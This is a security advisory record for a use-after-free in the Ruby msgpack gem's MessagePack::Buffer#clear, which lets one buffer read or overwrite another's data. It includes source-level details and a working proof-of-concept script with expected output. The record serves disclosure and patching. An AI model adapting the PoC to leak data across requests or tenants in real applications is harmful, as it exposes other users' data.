{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.1"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "msgpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T16:33:12Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\n`MessagePack::Buffer#clear` shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer\u0027s rmem cursor (`rmem_last`, `rmem_end`, `rmem_owner`). The next write sees \"unused rmem space\" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second `MessagePack::Buffer` then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer\u0027s bytes \u2014 a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).\n\n### Details\n- `msgpack_buffer_clear()` \u2192 `_msgpack_buffer_shift_chunk()` (`ext/msgpack/buffer.c:151`, `:128`) destroys chunks (`_msgpack_buffer_chunk_destroy`, `:58`, returns the page via `msgpack_rmem_free`) but resets only `tail_buffer_end`/`read_buffer`, leaving `rmem_last`/`rmem_end`/`rmem_owner` pointing into the freed page.\n- Next `Buffer#write` \u2192 `_msgpack_buffer_chunk_malloc()` reuse branch (`:363`) returns `b-\u003ermem_last`, a pointer into the already-freed page.\n- A second buffer\u0027s first write calls `msgpack_rmem_alloc()` and gets the same physical page back from the pool \u2192 the two buffers alias the same memory.\n- Sanitizer note: rmem (`ext/msgpack/rmem.h`) recycles pages with a slab bitmask, not `free()`, so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.\n\n### PoC\nSingle self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):\n\n```bash\nset -e\nWORK=\"$(mktemp -d)\"; cd \"$WORK\"\n\n# 1) PoC\ncat \u003e poc.rb \u003c\u003c\u0027RUBY\u0027\nb1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)\nb1.write(\u0027M\u0027 * 1000); b1.write(\u0027A\u0027 * 200); b1.write(\u0027N\u0027 * 1000)\nb1.clear\nb1.write(\u0027C\u0027 * 128)\nsecret = (\u0027s\u0027 * 200) + (\u0027ABCD\u0027 * 32) + (\u0027t\u0027 * 400)\nb2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)\nb2.write(secret)\nleaked = b1.read_all\ndonor  = b2.read_all\nputs \u0027b1_first64:\u0027 + leaked.byteslice(0, 64)\nputs \u0027b2_donor64:\u0027 + donor.byteslice(200, 64)\nputs \u0027leaked_is_C:\u0027 + (leaked == \u0027C\u0027 * 128).to_s\nputs \u0027cross_buffer_match:\u0027 + (leaked == donor.byteslice(200, 128)).to_s\nRUBY\n\n# 2) ASAN build of msgpackfrom rubygems\ncat \u003e Dockerfile \u003c\u003c\u0027DOCKER\u0027\nFROM ruby:3.3-bookworm\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends build-essential libasan8 \u0026\u0026 rm -rf /var/lib/apt/lists/*\nRUN gem fetch msgpack -v 1.8.1 \u0026\u0026 gem unpack msgpack-1.8.1.gem \u0026\u0026 \\\n    cd msgpack-1.8.1/ext/msgpack \u0026\u0026 \\\n    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags=\u0027-O0 -g -fsanitize=address -fno-omit-frame-pointer\u0027 --with-ldflags=\u0027-fsanitize=address\u0027 \u0026\u0026 \\\n    make -j\"$(nproc)\" \u0026\u0026 cp msgpack.so ../../lib/msgpack/msgpack.so\nDOCKER\ndocker build -t msgpack-asan-poc .\n\n# 3) Run under ASAN\ndocker run --rm -v \"$WORK/poc.rb:/poc.rb:ro\" msgpack-asan-poc \\\n  bash -c \u0027export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb\u0027\n```\n\nExpected output:\n```\nb1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nb2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nleaked_is_C:false\ncross_buffer_match:true\n```\n\n### Impact\nSame-process cross-buffer information disclosure and corruption: after `clear` + reuse, one `MessagePack::Buffer` aliases another\u0027s memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the `MessagePack::Buffer` API with a `clear`/reuse lifecycle (a supported performance pattern); not reachable from a plain `unpack` byte stream. Real-world severity **Low\u2013Medium**; clear memory-safety defect with a small, localized fix.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
  "id": "GHSA-4mrv-5p47-p938",
  "modified": "2026-07-30T16:33:12Z",
  "published": "2026-07-30T16:33:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack-ruby/commit/5627d71606b565641d2dd501b82aae862f4abe90"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/msgpack/msgpack-ruby"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/msgpack/CVE-2026-54522.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54522"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure"
}